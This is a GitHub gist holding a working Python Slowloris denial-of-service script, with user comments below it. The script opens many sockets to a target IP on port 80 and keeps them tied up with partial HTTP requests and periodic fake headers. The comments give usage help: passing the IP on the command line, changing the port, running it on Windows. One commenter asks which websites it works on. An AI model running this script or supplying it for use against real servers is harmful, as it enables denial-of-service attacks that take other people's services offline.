Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@gkbrk
Last active January 13, 2022 09:28
Show Gist options
  • Star 35 You must be signed in to star a gist
  • Fork 12 You must be signed in to fork a gist
  • Save gkbrk/5de70f35e69343718431 to your computer and use it in GitHub Desktop.
Save gkbrk/5de70f35e69343718431 to your computer and use it in GitHub Desktop.
Slowloris implementation in Python. https://github.com/gkbrk/slowloris
import socket
import random
import time
import sys
log_level = 2
def log(text, level=1):
if log_level >= level:
print(text)
list_of_sockets = []
regular_headers = [
"User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Accept-language: en-US,en,q=0.5"
]
ip = sys.argv[1]
socket_count = 100
log("Attacking {} with {} sockets.".format(ip, socket_count))
log("Creating sockets...")
for _ in range(socket_count):
try:
log("Creating socket nr {}".format(_), level=2)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((ip, 80))
except socket.error:
break
list_of_sockets.append(s)
log("Setting up the sockets...")
for s in list_of_sockets:
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
for header in regular_headers:
s.send(bytes("{}\r\n".format(header).encode("utf-8")))
while True:
log("Sending keep-alive headers...")
for s in list_of_sockets:
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((ip, 80))
for s in list_of_sockets:
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
for header in regular_headers:
s.send(bytes("{}\r\n".format(header).encode("utf-8")))
except socket.error:
continue
time.sleep(15)
@benjirees
Copy link

where do you put the IP

@ayuthmang
Copy link

@benjirees

where do you put the IP

Just run with command line ex.

python slowloris.py 172.217.24.238

screen shot 2560-04-19 at 2 02 13 am

@fddnn
Copy link

fddnn commented Nov 18, 2017

int

@vian21
Copy link

vian21 commented Aug 1, 2018

thanks

@HaraDesu
Copy link

thanks

@Ajetski
Copy link

Ajetski commented Oct 13, 2019

you can also just change line 19 to set the ip manually instead of passing the value through argv[1] (the first command line argument after the name of the "*.py" file) @benijrees

Copy link

ghost commented Nov 1, 2019

awesome man!

@gkbrk
Copy link
Author

gkbrk commented Nov 11, 2019

BTW there has been a main repo for this project for a while with additional fixes / features.

https://github.com/gkbrk/slowloris

@PlumpBenjamin
Copy link

Is there any way to use this on windows?

@Ajetski
Copy link

Ajetski commented Mar 9, 2020

@PlumpBenjamin Yes, python can run on windows, linux, mac, etc. Install python then run this script.

@Danvelarde
Copy link

anyone know a website where this works?

@wiemrachman
Copy link

@benjirees
sometimes we need change the port
it just modify ip anda port at line 29

@deyy11
Copy link

deyy11 commented Jul 23, 2020

slowloris.py: error: argument

@deyy11
Copy link

deyy11 commented Jul 23, 2020

como quito eso
slowloris.py: error: argument,

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment